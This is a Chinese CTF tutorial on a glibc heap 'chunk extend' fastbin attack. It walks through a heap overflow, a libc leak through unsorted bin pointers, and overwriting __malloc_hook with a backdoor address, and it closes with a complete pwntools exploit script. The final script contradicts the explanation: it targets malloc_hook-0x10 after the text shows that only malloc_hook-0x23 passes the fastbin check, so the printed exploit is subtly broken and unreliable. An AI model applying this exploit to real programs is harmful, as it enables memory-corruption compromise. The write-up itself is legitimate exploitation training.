Fastbin-Attack之chunk-extend
柳贯一 发表于 江西 CTF 618浏览 · 2024-05-28 15:28

Chunk Extend攻击

该攻击主要对程序中出现的堆溢出漏洞进行利用,通过堆溢出漏洞修改相邻chunk的size位,修改为多个chunk的总大小,从而欺骗堆管理器,误以为分配的多个chunk是一整个chunk,从而开展fastbin攻击

思路介绍

我们先分配多个chunk,假设我们能够向分配的chunk中写入0x100大小的数据

add(0x60)#0     010
add(0x60)#1     080
add(0x60)#2     0f0
add(0x60)#3     160

查看分配结果,为了方便,我们给对应的chunk打上标记,标记形式为下标和地址末三位

我们通过堆溢出,将chunk1的大小修改为0xe1

edit(0,b'a'*0x60+b'\x00'*8+p64(0xe1))


如上图所示,堆管理器就会误以为chunk1的大小是0xe1
这个时候我们free掉chunk1,堆管理器会将chunk1和chunk2一起放入unsorted bin中

而由于unsorted bin的双向链表结构,当unsorted bin中只有一个chunk时,这个chunk的fd指针和bk指针都会指向main_arena附近的区域,从而泄露libc基址.

我们要怎么泄露呢?
我们知道,当malloc一个chunk时,堆管理器会查找fastbin中是否有大小合适的chunk,然后会遍历unsorted bins,如果有大于等于目标chunk大小的chunk,就会将unsorted bins中的chunk进行切割,得到一个大小合适的chunk给用户
所以这个时候,我们先malloc一个0x60大小的chunk试试看,调试看看

可以看到,e0大小的free chunk被划分成了两个区域,各是0x70
并且通过地址末三位可以看到,其实刚才分配到的chunk是和chunk1重合的,为了方便,我们将他记为chunk4
而chunk2则是处在了unsorted bin中,但是现在我们其实没有free chunk2,这就起到了利用堆溢出欺骗堆管理器的作用.
理论知识就这么多,我们直接进入实战

例题分析

主函数


进入menu函数


可以看到,经典的菜单题
先看add_note

delete note


free chunk之后,进行了指针置零的操作,不存在uaf漏洞


可以向chunk中写入0x100大小的内容,当我们分配堆块的大小小于0x100时,就会存在堆溢出漏洞
print note

打印堆块内容
同时程序存在后门函数

分析得到的漏洞只有可能存在的堆溢出漏洞

解题思路

1.利用堆溢出漏洞打chunk extend攻击来泄露libc基址
2.利用libc基址得到malloc_hook,free_hook等函数地址
3.打fastbin攻击,篡改malloc_hook,free_hook等函数地址为后门函数或者one_gadget

操作过程

先打chunk extend攻击,构造出可以print内容的chunk
下面是脚本

add(0x60)#0     010
add(0x60)#1     080
add(0x60)#2     0f0
add(0x60)#3     160
edit(0,b'a'*0x60+b'\x00'*8+p64(0xe1))
dele(1)
add(0x60)#4 0f0

如果题目给了libc和ld文件,则泄露libc会方便很多
本题直接给了libc和ld附件,我们直接在pwndbg中查看


当我们泄露出main_arena附近的地址时,直接减去他们之间的偏移就是malloc_hook的地址,下面是接收脚本

main_arena_fake=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("1."+hex(main_arena_fake))
malloc_hook=main_arena_fake-0x68
libc_base=malloc_hook-libc.sym['__malloc_hook']

此时的chunk2被堆管理器误以为是unsorted bin中的free chunk,其fd和bk都指向了main_arena附近的区域
可以借此来泄露libc基址及一系列的东西
得到malloc_hook的地址后,我们可以通过篡改malloc_hook的函数地址处的内容,使其指向one_gadget或者是backdoor
在泄露之后,我们将unsorted bin中的chunk malloc出来


可以看到chunk数量并没有增加,而是和chunk2进行了重叠,我们把它标记为chunk4
并且可以看到,在堆区域中,和chunk4相邻的chunk是末三位为160的chunk,通过标记可以看到是chunk3
为了打fastbin攻击,我们将chunk3 free掉,以此来修改他的fd指针指向我们需要的地方
修改脚本如下

add(0x60)#4 0f0

dele(3)
edit(4,b'b'*0x60+b'\x00'*8+p64(0x71)+p64(malloc_hook-0x23))

这里解释一下,为什么修改fd指针指向malloc_hook-0x23
在堆管理器中,fastbin会对申请的chunk的大小进行检测,只有大小处于0x20-0x80的申请会从fastbin中寻找合适的chunk.
我们来看假设指向malloc_hook-0x10会怎么样

红框内的内容便是申请chunk的大小,明显不符合fastbin的检测机制
再来看看malloc_hook-0x23的内容


对应位置的内容是0x7f,刚好能够满足fastbin的检测
我们来看修改后的堆内容


chunk3指向了我们想要的地方
接下来只需要malloc两个大小为0x60的chunk便可以申请到修改后内容指向的地方,也就是malloc_hook-0x23的地方,然后使用edit对该内容修改即可
随后执行一次malloc即可

EXP

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
fn='./pwn'

eir = 0
if eir == 1:
    p=remote("120.46.59.242",2129)
elif eir == 0:
    p=process(fn)
elf=ELF(fn)
libc=ELF('/home/zst/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')


def open_gdb_terminal():
    pid = p.pid
    gdb_cmd = f"gdb -ex 'attach {pid}' -ex 'set height 0' -ex 'set width 0'"
    subprocess.Popen(["gnome-terminal", "--geometry=96x64+0+0", "--", "bash", "-c", f"{gdb_cmd}; exec bash"])

def dbg():
    open_gdb_terminal()
    pause()

def add(size):
    p.sendlineafter("5.Exit!",str(1))
    p.sendlineafter("Please Input Size:",str(size))
def dele(index):
    p.sendlineafter("5.Exit!",str(2))
    p.sendlineafter("Please Input index:",str(index))
def show(index):
    p.sendlineafter("5.Exit!",str(4))
    p.sendlineafter("Please Input index:",str(index))
def edit(index,content):
    p.sendlineafter("5.Exit!",str(3))
    p.sendlineafter("Please Input index:",str(index))
    p.sendafter("Change EMo Content",content)
def ext():
    p.sendlineafter("5.Exit!",str(5))

shell_addr=0x400946

add(0x60)#0 010
add(0x60)#1 080
add(0x60)#2 0f0
add(0x60)#3 160
edit(0,b'a'*0x60+b'\x00'*8+p64(0xe1))
dele(1)
add(0x60)#4 0f0
#dbg()

show(2)
main_arena_fake=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("1."+hex(main_arena_fake))
malloc_hook=main_arena_fake-0x68
libc_base=malloc_hook-libc.sym['__malloc_hook']

#dbg()
add(0x60)#4 0f0

dele(3)
edit(4,b'b'*0x60+b'\x00'*8+p64(0x71)+p64(malloc_hook-0x10))
dbg()

add(0x60)#3
add(0x60)#5
edit(5,b'd'*0x13+p64(shell_addr))
add(0x18)
#dbg()





p.interactive()


而我们看到malloc_hook-0x23的地方,对应位置的内容正好是0x7f符合fastbin的检测机制,因此将指针指向该地址

0 条评论
某人
表情
可输入 255